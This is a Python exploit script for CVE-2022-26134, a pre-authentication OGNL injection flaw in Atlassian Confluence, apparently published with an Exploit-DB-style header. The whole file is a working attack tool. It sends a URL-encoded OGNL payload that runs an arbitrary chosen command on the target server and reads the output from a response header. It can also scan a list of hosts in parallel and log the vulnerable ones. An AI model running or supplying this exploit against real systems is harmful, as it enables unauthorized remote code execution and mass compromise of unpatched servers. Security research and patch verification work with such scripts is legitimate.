
#!/usr/bin/python3

# Exploit Title: Confluence Pre-Auth Remote Code Execution via OGNL Injection
# Google Dork: N/A
# Date: 06/006/2022
# Exploit Author: h3v0x
# Vendor Homepage: https://www.atlassian.com/
# Software Link: https://www.atlassian.com/software/confluence/download-archives
# Version: All < 7.4.17 versions before 7.18.1
# Tested on: -
# CVE : CVE-2022-26134
# https://github.com/h3v0x/CVE-2022-26134

import sys
import requests
import optparse
import multiprocessing

from requests.packages import urllib3
from requests.exceptions import MissingSchema, InvalidURL
urllib3.disable_warnings()

requestEngine = multiprocessing.Manager()
session = requests.Session()

global paramResults
paramResults = requestEngine.list()
globals().update(locals())

def spiderXpl(url):
    globals().update(locals())
    if not url.startswith('http'):
        url='http://'+url
    
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36",
               "Connection": "close",
               "Accept-Encoding": "gzip, deflate"}

    try:
        response = requests.get(url + '/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22'+optionsOpt.command+'%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/', headers=headers, verify=False, allow_redirects=False)
        if(response.status_code == 302):
            print('Found: '+url+' // '+ response.headers['X-Cmd-Response'])

            inputBuffer = str(response.headers['X-Cmd-Response'])
            paramResults.append('Vulnerable application found:'+url+'\n''Command result:'+inputBuffer+'\n')
        else:
            pass

    except requests.exceptions.ConnectionError:
        print('[x] Failed to Connect: '+url)
        pass
    except multiprocessing.log_to_stderr:
        pass
    except KeyboardInterrupt:
        print('[!] Stoping exploit...')
        exit(0)
    except (MissingSchema, InvalidURL):
        pass
    
    
def banner():
    print('[-] CVE-2022-26134')
    print('[-] Confluence Pre-Auth Remote Code Execution via OGNL Injection \n')

    
def main():
    banner()
    
    globals().update(locals())
    
    sys.setrecursionlimit(100000)

    if not optionsOpt.filehosts:
        url = optionsOpt.url
        spiderXpl(url)
    else:
        f = open(optionsOpt.filehosts)
        urls = map(str.strip, f.readlines())

        multiReq = multiprocessing.Pool(optionsOpt.threads_set)
        try:
            multiReq.map(spiderXpl, urls)
            multiReq.close()
            multiReq.join()
        except UnboundLocalError:
            pass
        except KeyboardInterrupt:
            exit(0)


    if optionsOpt.output:
        print("\n[!] Saving the output result in: %s" % optionsOpt.output)

        with open(optionsOpt.output, "w") as f:
            for result in paramResults:
                f.write("%s\n" % result)
        f.close()

if __name__ == "__main__":
    parser = optparse.OptionParser()

    parser.add_option('-u', '--url', action="store", dest="url", help='Base target uri (ex. http://target-uri/)')
    parser.add_option('-f', '--file', dest="filehosts", help='example.txt')
    parser.add_option('-t', '--threads', dest="threads_set", type=int,default=10)
    parser.add_option('-m', '--maxtimeout', dest="timeout", type=int,default=8)
    parser.add_option('-o', '--output', dest="output", type=str, default='exploit_result.txt')
    parser.add_option('-c', '--cmd', dest="command", type=str, default='id')
    optionsOpt, args = parser.parse_args()

    main()
    
    
    
